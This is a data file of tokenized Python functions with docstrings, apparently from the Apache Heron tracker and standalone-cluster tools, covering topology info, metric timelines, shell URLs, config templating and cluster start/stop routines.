container_plan.scheduledResource.cpu,<EOL>\"<STR_LIT>\": container_plan.scheduledResource.ram,<EOL>\"<STR_LIT>\": container_plan.scheduledResource.disk}<EOL><DEDENT>container = {\"<STR_LIT:id>\": container_plan.id,<EOL>\"<STR_LIT>\": instances,<EOL>\"<STR_LIT>\": required_resource,<EOL>\"<STR_LIT>\": scheduled_resource}<EOL>containers.append(container)<EOL><DEDENT>packingPlan[\"<STR_LIT:id>\"] = topology.packing_plan.id<EOL>packingPlan[\"<STR_LIT>\"] = containers<EOL>return json.dumps(packingPlan)<EOL>", "docstring": "Returns the representation of packing plan that will\nbe returned from Tracker.", "id": "f7358:c0:m14"}
{"signature": "def setTopologyInfo(self, topology):", "body": "<EOL>if not topology.execution_state:<EOL><INDENT>Log.info(\"<STR_LIT>\" + topology.name)<EOL>return<EOL><DEDENT>Log.info(\"<STR_LIT>\" + topology.name)<EOL>has_physical_plan = True<EOL>if not topology.physical_plan:<EOL><INDENT>has_physical_plan = False<EOL><DEDENT>Log.info(\"<STR_LIT>\" + topology.name)<EOL>has_packing_plan = True<EOL>if not topology.packing_plan:<EOL><INDENT>has_packing_plan = False<EOL><DEDENT>has_tmaster_location = True<EOL>if not topology.tmaster:<EOL><INDENT>has_tmaster_location = False<EOL><DEDENT>has_scheduler_location = True<EOL>if not topology.scheduler_location:<EOL><INDENT>has_scheduler_location = False<EOL><DEDENT>topologyInfo = {<EOL>\"<STR_LIT:name>\": topology.name,<EOL>\"<STR_LIT:id>\": topology.id,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>}<EOL>executionState = self.extract_execution_state(topology)<EOL>executionState[\"<STR_LIT>\"] = has_physical_plan<EOL>executionState[\"<STR_LIT>\"] = has_packing_plan<EOL>executionState[\"<STR_LIT>\"] = has_tmaster_location<EOL>executionState[\"<STR_LIT>\"] = has_scheduler_location<EOL>executionState[\"<STR_LIT:status>\"] = topology.get_status()<EOL>topologyInfo[\"<STR_LIT>\"] = self.extract_metadata(topology)<EOL>topologyInfo[\"<STR_LIT>\"] = self.extract_runtime_state(topology)<EOL>topologyInfo[\"<STR_LIT>\"] = executionState<EOL>topologyInfo[\"<STR_LIT>\"] = self.extract_logical_plan(topology)<EOL>topologyInfo[\"<STR_LIT>\"] = self.extract_physical_plan(topology)<EOL>topologyInfo[\"<STR_LIT>\"] = self.extract_packing_plan(topology)<EOL>topologyInfo[\"<STR_LIT>\"] = self.extract_tmaster(topology)<EOL>topologyInfo[\"<STR_LIT>\"] = self.extract_scheduler_location(topology)<EOL>self.topologyInfos[(topology.name, topology.state_manager_name)] = topologyInfo<EOL>", "docstring": "Extracts info from the stored proto states and\nconvert it into representation that is exposed using\nthe API.\nThis method is called on any change for the topology.\nFor example, when a container moves and its host or some\nport changes. All the information is parsed all over\nagain and cache is updated.", "id": "f7358:c0:m15"}
{"signature": "def getTopologyInfo(self, topologyName, cluster, role, environ):", "body": "<EOL>for (topology_name, _), topologyInfo in self.topologyInfos.items():<EOL><INDENT>executionState = topologyInfo[\"<STR_LIT>\"]<EOL>if (topologyName == topology_name and<EOL>cluster == executionState[\"<STR_LIT>\"] and<EOL>environ == executionState[\"<STR_LIT>\"]):<EOL><INDENT>if not role or executionState.get(\"<STR_LIT>\") == role:<EOL><INDENT>return topologyInfo<EOL><DEDENT><DEDENT><DEDENT>if role is not None:<EOL><INDENT>Log.info(\"<STR_LIT>\"\"<STR_LIT>\",<EOL>topologyName, cluster, role, environ)<EOL><DEDENT>else:<EOL><INDENT>Log.info(\"<STR_LIT>\"\"<STR_LIT>\", topologyName, cluster, environ)<EOL><DEDENT>raise Exception(\"<STR_LIT>\")<EOL>", "docstring": "Returns the JSON representation of a topology\nby its name, cluster, environ, and an optional role parameter.\nRaises exception if no such topology is found.", "id": "f7358:c0:m16"}
{"signature": "def add_edge(self, U, V):", "body": "if not U in self.edges:<EOL><INDENT>self.edges[U] = set()<EOL><DEDENT>if not V in self.edges:<EOL><INDENT>self.edges[V] = set()<EOL><DEDENT>if not V in self.edges[U]:<EOL><INDENT>self.edges[U].add(V)<EOL><DEDENT>", "docstring": ":param U:\n:param V:\n:return:", "id": "f7359:c0:m1"}
{"signature": "def bfs_depth(self, U):", "body": "bfs_queue = [[U, <NUM_LIT:0>]]  <EOL>visited = set()<EOL>max_depth = <NUM_LIT:0><EOL>while bfs_queue:<EOL><INDENT>[V, depth] = bfs_queue.pop()<EOL>if max_depth < depth:<EOL><INDENT>max_depth = depth<EOL><DEDENT>visited.add(V)<EOL>adj_set = self.edges[V]<EOL>for W in adj_set:<EOL><INDENT>if W not in visited:<EOL><INDENT>bfs_queue.append([W, depth + <NUM_LIT:1>])<EOL><DEDENT><DEDENT><DEDENT>return max_depth<EOL>", "docstring": "Returns the maximum distance between any vertex and U in the connected\ncomponent containing U\n:param U:\n:return:", "id": "f7359:c0:m3"}
{"signature": "def diameter(self):", "body": "diameter = <NUM_LIT:0><EOL>for U in self.edges:<EOL><INDENT>depth = self.bfs_depth(U)<EOL>if depth > diameter:<EOL><INDENT>diameter = depth<EOL><DEDENT><DEDENT>return diameter<EOL>", "docstring": "Returns the maximum distance between any vertex and U in the connected\ncomponent containing U\n:return:", "id": "f7359:c0:m4"}
{"signature": "def __init__(self, componentName, metricName, instance, start, end, timeline):", "body": "self.componentName = componentName<EOL>self.metricName = metricName<EOL>self.instance = instance<EOL>self.start = start<EOL>self.end = end<EOL>self.timeline = self.floorTimestamps(start, end, timeline)<EOL>", "docstring": "Takes (componentName, metricname, instance, timeline)", "id": "f7360:c0:m0"}
{"signature": "def floorTimestamps(self, start, end, timeline):", "body": "ret = {}<EOL>for timestamp, value in timeline.items():<EOL><INDENT>ts = timestamp / <NUM_LIT> * <NUM_LIT><EOL>if start <= ts <= end:<EOL><INDENT>ret[ts] = value<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "floor timestamp", "id": "f7360:c0:m1"}
{"signature": "def setDefault(self, constant, start, end):", "body": "starttime = start / <NUM_LIT> * <NUM_LIT><EOL>if starttime < start:<EOL><INDENT>starttime += <NUM_LIT><EOL><DEDENT>endtime = end / <NUM_LIT> * <NUM_LIT><EOL>while starttime <= endtime:<EOL><INDENT>if starttime not in self.timeline or self.timeline[starttime] == <NUM_LIT:0>:<EOL><INDENT>self.timeline[starttime] = constant<EOL><DEDENT>starttime += <NUM_LIT><EOL><DEDENT>", "docstring": "set default time", "id": "f7360:c0:m2"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def execute(self, tracker, tmaster, start, end):<DEDENT>", "body": "raise Exception(\"<STR_LIT>\")<EOL>", "docstring": "execute", "id": "f7360:c1:m1"}
{"signature": "def isOperator(self):", "body": "return True<EOL>", "docstring": "Returns True. This is just usefule for checking that an object is an operator or not.", "id": "f7360:c1:m2"}
{"signature": "def hex_escape(bin_str):", "body": "printable = string.ascii_letters + string.digits + string.punctuation + '<STR_LIT:U+0020>'<EOL>return '<STR_LIT>'.join(ch if ch in printable else r'<STR_LIT>'.format(ord(ch)) for ch in bin_str)<EOL>", "docstring": "Hex encode a binary string", "id": "f7361:m0"}
{"signature": "def make_shell_endpoint(topologyInfo, instance_id):", "body": "<EOL>pplan = topologyInfo[\"<STR_LIT>\"]<EOL>stmgrId = pplan[\"<STR_LIT>\"][instance_id][\"<STR_LIT>\"]<EOL>host = pplan[\"<STR_LIT>\"][stmgrId][\"<STR_LIT:host>\"]<EOL>shell_port = pplan[\"<STR_LIT>\"][stmgrId][\"<STR_LIT>\"]<EOL>return \"<STR_LIT>\" % (host, shell_port)<EOL>", "docstring": "Makes the http endpoint for the heron shell\nif shell port is present, otherwise returns None.", "id": "f7361:m1"}
{"signature": "def make_shell_job_url(host, shell_port, _):", "body": "if not shell_port:<EOL><INDENT>return None<EOL><DEDENT>return \"<STR_LIT>\" % (host, shell_port)<EOL>", "docstring": "Make the job url from the info\nstored in stmgr. This points to dir from where\nall the processes are started.\nIf shell port is not present, it returns None.", "id": "f7361:m2"}
{"signature": "def make_shell_logfiles_url(host, shell_port, _, instance_id=None):", "body": "if not shell_port:<EOL><INDENT>return None<EOL><DEDENT>if not instance_id:<EOL><INDENT>return \"<STR_LIT>\" % (host, shell_port)<EOL><DEDENT>else:<EOL><INDENT>return \"<STR_LIT>\" % (host, shell_port, instance_id)<EOL><DEDENT>", "docstring": "Make the url for log-files in heron-shell\nfrom the info stored in stmgr.\nIf no instance_id is provided, the link will\nbe to the dir for the whole container.\nIf shell port is not present, it returns None.", "id": "f7361:m3"}
{"signature": "def make_shell_logfile_data_url(host, shell_port, instance_id, offset, length):", "body": "return \"<STR_LIT>\" %(host, shell_port, instance_id, offset, length)<EOL>", "docstring": "Make the url for log-file data in heron-shell\nfrom the info stored in stmgr.", "id": "f7361:m4"}
{"signature": "def make_shell_filestats_url(host, shell_port, path):", "body": "return \"<STR_LIT>\" % (host, shell_port, path)<EOL>", "docstring": "Make the url for filestats data in heron-shell\nfrom the info stored in stmgr.", "id": "f7361:m5"}
{"signature": "def make_viz_dashboard_url(name, cluster, environ):", "body": "return \"<STR_LIT>\"<EOL>", "docstring": "Link to the dashboard. Must override to return a valid url.", "id": "f7361:m6"}
{"signature": "def identity(x):", "body": "return x<EOL>", "docstring": "This will return the input arg\n:return: input argument", "id": "f7361:m7"}
{"signature": "def cygpath(x):", "body": "command = ['<STR_LIT>', '<STR_LIT>', x]<EOL>p = subprocess.Popen(command, stdout=subprocess.PIPE)<EOL>output, _ = p.communicate()<EOL>lines = output.split(\"<STR_LIT:\\n>\")<EOL>return lines[<NUM_LIT:0>]<EOL>", "docstring": "This will return the path of input arg for windows\n:return: the path in windows", "id": "f7361:m8"}
{"signature": "def normalized_class_path(x):", "body": "if sys.platform == '<STR_LIT>':<EOL><INDENT>return cygpath(x)<EOL><DEDENT>return identity(x)<EOL>", "docstring": "This will return the class path depending on the platform\n:return: the class path", "id": "f7361:m9"}
{"signature": "def get_heron_tracker_dir():", "body": "path = \"<STR_LIT:/>\".join(os.path.realpath(__file__).split('<STR_LIT:/>')[:-<NUM_LIT:8>])<EOL>return normalized_class_path(path)<EOL>", "docstring": "This will extract heron tracker directory from .pex file.\n:return: root location for heron-tools.", "id": "f7361:m10"}
{"signature": "def get_heron_tracker_bin_dir():", "body": "bin_path = os.path.join(get_heron_tracker_dir(), BIN_DIR)<EOL>return bin_path<EOL>", "docstring": "This will provide heron tracker bin directory from .pex file.\n:return: absolute path of heron lib directory", "id": "f7361:m11"}
{"signature": "def get_heron_tracker_conf_dir():", "body": "conf_path = os.path.join(get_heron_tracker_dir(), CONF_DIR)<EOL>return conf_path<EOL>", "docstring": "This will provide heron tracker conf directory from .pex file.\n:return: absolute path of heron conf directory", "id": "f7361:m12"}
{"signature": "def parse_config_file(config_file):", "body": "expanded_config_file_path = os.path.expanduser(config_file)<EOL>if not os.path.lexists(expanded_config_file_path):<EOL><INDENT>return None<EOL><DEDENT>configs = {}<EOL>with open(expanded_config_file_path, '<STR_LIT:r>') as f:<EOL><INDENT>configs = yaml.load(f)<EOL><DEDENT>return configs<EOL>", "docstring": "This will parse the config file for the tracker\n:return: the config or None if the file is not found", "id": "f7361:m13"}
{"signature": "def create_parser(subparsers):", "body": "parser = subparsers.add_parser(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>add_help=True<EOL>)<EOL>cli_args.add_titles(parser)<EOL>parser_action = parser.add_subparsers()<EOL>parser_cluster = parser_action.add_parser(<EOL>Action.CLUSTER,<EOL>help='<STR_LIT>',<EOL>add_help=True,<EOL>formatter_class=argparse.RawTextHelpFormatter,<EOL>)<EOL>parser_cluster.set_defaults(action=Action.CLUSTER)<EOL>parser_set = parser_action.add_parser(<EOL>Action.SET,<EOL>help='<STR_LIT>',<EOL>add_help=True,<EOL>formatter_class=argparse.RawTextHelpFormatter<EOL>)<EOL>parser_set.set_defaults(action=Action.SET)<EOL>parser_template = parser_action.add_parser(<EOL>Action.TEMPLATE,<EOL>help='<STR_LIT>',<EOL>add_help=True,<EOL>formatter_class=argparse.RawTextHelpFormatter<EOL>)<EOL>parser_template.set_defaults(action=Action.TEMPLATE)<EOL>parser_cluster.add_argument(<EOL>TYPE,<EOL>type=str,<EOL>choices={Cluster.START, Cluster.STOP},<EOL>help=\"<EOL>ces supports the following:<EOL>art     - Start standalone Heron cluster<EOL>op      - Stop standalone Heron cluster<EOL>)<EOL>parser_template.add_argument(<EOL>TYPE,<EOL>type=str,<EOL>choices={\"<STR_LIT>\"},<EOL>)<EOL>parser_get = parser_action.add_parser(<EOL>Action.GET,<EOL>help='<STR_LIT>',<EOL>add_help=True,<EOL>formatter_class=argparse.RawTextHelpFormatter<EOL>)<EOL>parser_get.set_defaults(action=Action.GET)<EOL>parser_get.add_argument(<EOL>TYPE,<EOL>type=str,<EOL>choices={Get.SERVICE_URL, Get.HERON_TRACKER_URL, Get.HERON_UI_URL},<EOL>help=\"\"\"<STR_LIT>\"\"\"<EOL>)<EOL>parser_info = parser_action.add_parser(<EOL>Action.INFO,<EOL>help='<STR_LIT>',<EOL>add_help=True,<EOL>formatter_class=argparse.RawTextHelpFormatter<EOL>)<EOL>parser_info.set_defaults(action=Action.INFO)<EOL>add_additional_args([parser_set, parser_cluster, parser_template, parser_get, parser_info])<EOL>parser.set_defaults(subcommand='<STR_LIT>')<EOL>return parser<EOL>", "docstring": "Create a subparser for the standalone command\n:param subparsers:\n:return:", "id": "f7362:m0"}
{"signature": "def run(command, parser, cl_args, unknown_args):", "body": "action = cl_args[\"<STR_LIT:action>\"]<EOL>if action == Action.SET:<EOL><INDENT>call_editor(get_inventory_file(cl_args))<EOL>update_config_files(cl_args)<EOL><DEDENT>elif action == Action.CLUSTER:<EOL><INDENT>action_type = cl_args[\"<STR_LIT:type>\"]<EOL>if action_type == Cluster.START:<EOL><INDENT>start_cluster(cl_args)<EOL><DEDENT>elif action_type == Cluster.STOP:<EOL><INDENT>if check_sure(cl_args, \"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"):<EOL><INDENT>stop_cluster(cl_args)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % action_type)<EOL><DEDENT><DEDENT>elif action == Action.TEMPLATE:<EOL><INDENT>update_config_files(cl_args)<EOL><DEDENT>elif action == Action.GET:<EOL><INDENT>action_type = cl_args[\"<STR_LIT:type>\"]<EOL>if action_type == Get.SERVICE_URL:<EOL><INDENT>print(get_service_url(cl_args))<EOL><DEDENT>elif action_type == Get.HERON_UI_URL:<EOL><INDENT>print(get_heron_ui_url(cl_args))<EOL><DEDENT>elif action_type == Get.HERON_TRACKER_URL:<EOL><INDENT>print(get_heron_tracker_url(cl_args))<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % action_type)<EOL><DEDENT><DEDENT>elif action == Action.INFO:<EOL><INDENT>print_cluster_info(cl_args)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % action)<EOL><DEDENT>return SimpleResult(Status.Ok)<EOL>", "docstring": "runs parser", "id": "f7362:m1"}
{"signature": "def template_slave_hcl(cl_args, masters):", "body": "slave_config_template = \"<STR_LIT>\" % cl_args[\"<STR_LIT>\"]<EOL>slave_config_actual = \"<STR_LIT>\" % cl_args[\"<STR_LIT>\"]<EOL>masters_in_quotes = ['<STR_LIT>' % master for master in masters]<EOL>template_file(slave_config_template, slave_config_actual,<EOL>{\"<STR_LIT>\": \"<STR_LIT:U+002CU+0020>\".join(masters_in_quotes)})<EOL>", "docstring": "Template slave config file", "id": "f7362:m3"}
{"signature": "def template_scheduler_yaml(cl_args, masters):", "body": "single_master = masters[<NUM_LIT:0>]<EOL>scheduler_config_actual = \"<STR_LIT>\" % cl_args[\"<STR_LIT>\"]<EOL>scheduler_config_template = \"<STR_LIT>\"% cl_args[\"<STR_LIT>\"]<EOL>template_file(scheduler_config_template, scheduler_config_actual,<EOL>{\"<STR_LIT>\": \"<STR_LIT>\" % single_master})<EOL>", "docstring": "Template scheduler.yaml", "id": "f7362:m4"}
{"signature": "def template_uploader_yaml(cl_args, masters):", "body": "single_master = masters[<NUM_LIT:0>]<EOL>uploader_config_template = \"<STR_LIT>\"% cl_args[\"<STR_LIT>\"]<EOL>uploader_config_actual = \"<STR_LIT>\" % cl_args[\"<STR_LIT>\"]<EOL>template_file(uploader_config_template, uploader_config_actual,<EOL>{\"<STR_LIT>\": \"<STR_LIT>\" % single_master})<EOL>", "docstring": "Tempate uploader.yaml", "id": "f7362:m5"}
{"signature": "def template_apiserver_hcl(cl_args, masters, zookeepers):", "body": "single_master = masters[<NUM_LIT:0>]<EOL>apiserver_config_template = \"<STR_LIT>\"% cl_args[\"<STR_LIT>\"]<EOL>apiserver_config_actual = \"<STR_LIT>\" % cl_args[\"<STR_LIT>\"]<EOL>replacements = {<EOL>\"<STR_LIT>\": '<STR_LIT>' % get_hostname(single_master, cl_args),<EOL>\"<STR_LIT>\": '<STR_LIT>'<EOL>% config.get_heron_bin_dir()<EOL>if is_self(single_master)<EOL>else '<STR_LIT>'<EOL>% get_remote_home(single_master, cl_args),<EOL>\"<STR_LIT>\": \"<STR_LIT:U+002C>\".join(<EOL>['<STR_LIT:%s>' % zk if \"<STR_LIT::>\" in zk else '<STR_LIT>' % zk for zk in zookeepers]),<EOL>\"<STR_LIT>\": \"<STR_LIT>\" % single_master<EOL>}<EOL>template_file(apiserver_config_template, apiserver_config_actual, replacements)<EOL>", "docstring": "template apiserver.hcl", "id": "f7362:m6"}
{"signature": "def template_statemgr_yaml(cl_args, zookeepers):", "body": "statemgr_config_file_template = \"<STR_LIT>\"% cl_args[\"<STR_LIT>\"]<EOL>statemgr_config_file_actual = \"<STR_LIT>\" % cl_args[\"<STR_LIT>\"]<EOL>template_file(statemgr_config_file_template, statemgr_config_file_actual,<EOL>{\"<STR_LIT>\": \"<STR_LIT:U+002C>\".join(<EOL>['<STR_LIT>' % zk if \"<STR_LIT::>\" in zk else '<STR_LIT>' % zk for zk in zookeepers])})<EOL>", "docstring": "Template statemgr.yaml", "id": "f7362:m7"}
{"signature": "def template_heron_tools_hcl(cl_args, masters, zookeepers):", "body": "heron_tools_hcl_template = \"<STR_LIT>\"% cl_args[\"<STR_LIT>\"]<EOL>heron_tools_hcl_actual = \"<STR_LIT>\"% cl_args[\"<STR_LIT>\"]<EOL>single_master = masters[<NUM_LIT:0>]<EOL>template_file(heron_tools_hcl_template, heron_tools_hcl_actual,<EOL>{<EOL>\"<STR_LIT>\": \"<STR_LIT:U+002C>\".join(<EOL>['<STR_LIT:%s>' % zk if \"<STR_LIT::>\" in zk else '<STR_LIT>' % zk for zk in zookeepers]),<EOL>\"<STR_LIT>\": '<STR_LIT>' % config.get_heron_bin_dir(),<EOL>\"<STR_LIT>\": '<STR_LIT>' % get_hostname(single_master, cl_args),<EOL>\"<STR_LIT>\": '<STR_LIT>' % config.get_heron_bin_dir()<EOL>})<EOL>", "docstring": "template heron tools", "id": "f7362:m8"}
{"signature": "def get_service_url(cl_args):", "body": "roles = read_and_parse_roles(cl_args)<EOL>return \"<STR_LIT>\" % list(roles[Role.MASTERS])[<NUM_LIT:0>]<EOL>", "docstring": "get service url for standalone cluster", "id": "f7362:m10"}
{"signature": "def get_heron_tracker_url(cl_args):", "body": "roles = read_and_parse_roles(cl_args)<EOL>return \"<STR_LIT>\" % list(roles[Role.MASTERS])[<NUM_LIT:0>]<EOL>", "docstring": "get service url for standalone cluster", "id": "f7362:m11"}
{"signature": "def get_heron_ui_url(cl_args):", "body": "roles = read_and_parse_roles(cl_args)<EOL>return \"<STR_LIT>\" % list(roles[Role.MASTERS])[<NUM_LIT:0>]<EOL>", "docstring": "get service url for standalone cluster", "id": "f7362:m12"}
{"signature": "def print_cluster_info(cl_args):", "body": "parsed_roles = read_and_parse_roles(cl_args)<EOL>masters = list(parsed_roles[Role.MASTERS])<EOL>slaves = list(parsed_roles[Role.SLAVES])<EOL>zookeepers = list(parsed_roles[Role.ZOOKEEPERS])<EOL>cluster = list(parsed_roles[Role.CLUSTER])<EOL>info = OrderedDict()<EOL>info['<STR_LIT>'] = len(cluster)<EOL>info['<STR_LIT>'] = cluster<EOL>roles = OrderedDict()<EOL>roles['<STR_LIT>'] = masters<EOL>roles['<STR_LIT>'] = slaves<EOL>roles['<STR_LIT>'] = zookeepers<EOL>urls = OrderedDict()<EOL>urls['<STR_LIT>'] = get_service_url(cl_args)<EOL>urls['<STR_LIT>'] = get_heron_ui_url(cl_args)<EOL>urls['<STR_LIT>'] = get_heron_tracker_url(cl_args)<EOL>info['<STR_LIT>'] = roles<EOL>info['<STR_LIT>'] = urls<EOL>print(json.dumps(info, indent=<NUM_LIT:2>))<EOL>", "docstring": "get cluster info for standalone cluster", "id": "f7362:m13"}
{"signature": "def add_additional_args(parsers):", "body": "for parser in parsers:<EOL><INDENT>cli_args.add_verbose(parser)<EOL>cli_args.add_config(parser)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>default=config.get_heron_dir(),<EOL>help='<STR_LIT>')<EOL><DEDENT>", "docstring": "add additional parameters to parser", "id": "f7362:m14"}
{"signature": "def stop_cluster(cl_args):", "body": "Log.info(\"<STR_LIT>\")<EOL>roles = read_and_parse_roles(cl_args)<EOL>masters = roles[Role.MASTERS]<EOL>slaves = roles[Role.SLAVES]<EOL>dist_nodes = masters.union(slaves)<EOL>if masters:<EOL><INDENT>try:<EOL><INDENT>single_master = list(masters)[<NUM_LIT:0>]<EOL>jobs = get_jobs(cl_args, single_master)<EOL>for job in jobs:<EOL><INDENT>job_id = job[\"<STR_LIT>\"]<EOL>Log.info(\"<STR_LIT>\" % job_id)<EOL>delete_job(cl_args, job_id, single_master)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>Log.debug(\"<STR_LIT>\")<EOL>Log.debug(sys.exc_info()[<NUM_LIT:0>])<EOL><DEDENT><DEDENT>for node in dist_nodes:<EOL><INDENT>Log.info(\"<STR_LIT>\" % node)<EOL>if not is_self(node):<EOL><INDENT>cmd = \"<STR_LIT>\"\"<STR_LIT>\"<EOL>cmd = ssh_remote_execute(cmd, node, cl_args)<EOL><DEDENT>else:<EOL><INDENT>cmd = \"<STR_LIT>\"\"<STR_LIT>\"<EOL><DEDENT>Log.debug(cmd)<EOL>pid = subprocess.Popen(cmd,<EOL>shell=True,<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE)<EOL>return_code = pid.wait()<EOL>output = pid.communicate()<EOL>Log.debug(\"<STR_LIT>\" % (return_code, output))<EOL>Log.info(\"<STR_LIT>\" % node)<EOL>cmd = \"<STR_LIT>\"<EOL>if not is_self(node):<EOL><INDENT>cmd = ssh_remote_execute(cmd, node, cl_args)<EOL><DEDENT>Log.debug(cmd)<EOL>pid = subprocess.Popen(cmd,<EOL>shell=True,<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE)<EOL>return_code = pid.wait()<EOL>output = pid.communicate()<EOL>Log.debug(\"<STR_LIT>\" % (return_code, output))<EOL><DEDENT>", "docstring": "teardown the cluster", "id": "f7362:m15"}
{"signature": "def start_cluster(cl_args):", "body": "roles = read_and_parse_roles(cl_args)<EOL>masters = roles[Role.MASTERS]<EOL>slaves = roles[Role.SLAVES]<EOL>zookeepers = roles[Role.ZOOKEEPERS]<EOL>Log.info(\"<STR_LIT>\")<EOL>Log.info(\"<STR_LIT>\" % list(masters))<EOL>Log.info(\"<STR_LIT>\" % list(slaves))<EOL>Log.info(\"<STR_LIT>\" % list(zookeepers))<EOL>if not masters:<EOL><INDENT>Log.error(\"<STR_LIT>\")<EOL>sys.exit(-<NUM_LIT:1>)<EOL><DEDENT>if not slaves:<EOL><INDENT>Log.error(\"<STR_LIT>\")<EOL>sys.exit(-<NUM_LIT:1>)<EOL><DEDENT>if not zookeepers:<EOL><INDENT>Log.error(\"<STR_LIT>\")<EOL>sys.exit(-<NUM_LIT:1>)<EOL><DEDENT>update_config_files(cl_args)<EOL>dist_nodes = list(masters.union(slaves))<EOL>if not (len(dist_nodes) == <NUM_LIT:1> and is_self(dist_nodes[<NUM_LIT:0>])):<EOL><INDENT>distribute_package(roles, cl_args)<EOL><DEDENT>start_master_nodes(masters, cl_args)<EOL>start_slave_nodes(slaves, cl_args)<EOL>start_api_server(masters, cl_args)<EOL>start_heron_tools(masters, cl_args)<EOL>Log.info(\"<STR_LIT>\")<EOL>", "docstring": "Start a Heron standalone cluster", "id": "f7362:m16"}
{"signature": "def start_api_server(masters, cl_args):", "body": "<EOL>single_master = list(masters)[<NUM_LIT:0>]<EOL>wait_for_master_to_start(single_master)<EOL>cmd = \"<STR_LIT>\"% (get_nomad_path(cl_args), get_apiserver_job_file(cl_args))<EOL>Log.info(\"<STR_LIT>\" % single_master)<EOL>if not is_self(single_master):<EOL><INDENT>cmd = ssh_remote_execute(cmd, single_master, cl_args)<EOL><DEDENT>Log.debug(cmd)<EOL>pid = subprocess.Popen(cmd,<EOL>shell=True,<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE)<EOL>return_code = pid.wait()<EOL>output = pid.communicate()<EOL>Log.debug(\"<STR_LIT>\" % (return_code, output))<EOL>if return_code != <NUM_LIT:0>:<EOL><INDENT>Log.error(\"<STR_LIT>\" % (single_master, output[<NUM_LIT:1>]))<EOL>sys.exit(-<NUM_LIT:1>)<EOL><DEDENT>wait_for_job_to_start(single_master, \"<STR_LIT>\")<EOL>Log.info(\"<STR_LIT>\")<EOL>", "docstring": "Start the Heron API server", "id": "f7362:m17"}
{"signature": "def start_heron_tools(masters, cl_args):", "body": "single_master = list(masters)[<NUM_LIT:0>]<EOL>wait_for_master_to_start(single_master)<EOL>cmd = \"<STR_LIT>\"% (get_nomad_path(cl_args), get_heron_tools_job_file(cl_args))<EOL>Log.info(\"<STR_LIT>\" % single_master)<EOL>if not is_self(single_master):<EOL><INDENT>cmd = ssh_remote_execute(cmd, single_master, cl_args)<EOL><DEDENT>Log.debug(cmd)<EOL>pid = subprocess.Popen(cmd,<EOL>shell=True,<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE)<EOL>return_code = pid.wait()<EOL>output = pid.communicate()<EOL>Log.debug(\"<STR_LIT>\" % (return_code, output))<EOL>if return_code != <NUM_LIT:0>:<EOL><INDENT>Log.error(\"<STR_LIT>\" % (single_master, output[<NUM_LIT:1>]))<EOL>sys.exit(-<NUM_LIT:1>)<EOL><DEDENT>wait_for_job_to_start(single_master, \"<STR_LIT>\")<EOL>Log.info(\"<STR_LIT>\")<EOL>", "docstring": "Start Heron tracker and UI", "id": "f7362:m18"}
{"signature": "def distribute_package(roles, cl_args):", "body": "Log.info(\"<STR_LIT>\")<EOL>masters = roles[Role.MASTERS]<EOL>slaves = roles[Role.SLAVES]<EOL>tar_file = tempfile.NamedTemporaryFile(suffix=\"<STR_LIT>\").name<EOL>Log.debug(\"<STR_LIT>\" % (cl_args[\"<STR_LIT>\"], tar_file))<EOL>make_tarfile(tar_file, cl_args[\"<STR_LIT>\"])<EOL>dist_nodes = masters.union(slaves)<EOL>scp_package(tar_file, dist_nodes, cl_args)<EOL>", "docstring": "distribute Heron packages to all nodes", "id": "f7362:m19"}
{"signature": "def wait_for_master_to_start(single_master):", "body": "i = <NUM_LIT:0><EOL>while True:<EOL><INDENT>try:<EOL><INDENT>r = requests.get(\"<STR_LIT>\" % single_master)<EOL>if r.status_code == <NUM_LIT:200>:<EOL><INDENT>break<EOL><DEDENT><DEDENT>except:<EOL><INDENT>Log.debug(sys.exc_info()[<NUM_LIT:0>])<EOL>Log.info(\"<STR_LIT>\" % i)<EOL>time.sleep(<NUM_LIT:1>)<EOL>if i > <NUM_LIT:10>:<EOL><INDENT>Log.error(\"<STR_LIT>\")<EOL>sys.exit(-<NUM_LIT:1>)<EOL><DEDENT><DEDENT>i = i + <NUM_LIT:1><EOL><DEDENT>", "docstring": "Wait for a nomad master to start", "id": "f7362:m20"}
{"signature": "def wait_for_job_to_start(single_master, job):", "body": "i = <NUM_LIT:0><EOL>while True:<EOL><INDENT>try:<EOL><INDENT>r = requests.get(\"<STR_LIT>\" % (single_master, job))<EOL>if r.status_code == <NUM_LIT:200> and r.json()[\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError()<EOL><DEDENT><DEDENT>except:<EOL><INDENT>Log.debug(sys.exc_info()[<NUM_LIT:0>])<EOL>Log.info(\"<STR_LIT>\" % (job, i))<EOL>time.sleep(<NUM_LIT:1>)<EOL>if i > <NUM_LIT:20>:<EOL><INDENT>Log.error(\"<STR_LIT>\")<EOL>sys.exit(-<NUM_LIT:1>)<EOL><DEDENT><DEDENT>i = i + <NUM_LIT:1><EOL><DEDENT>", "docstring": "Wait for a Nomad job to start", "id": "f7362:m21"}
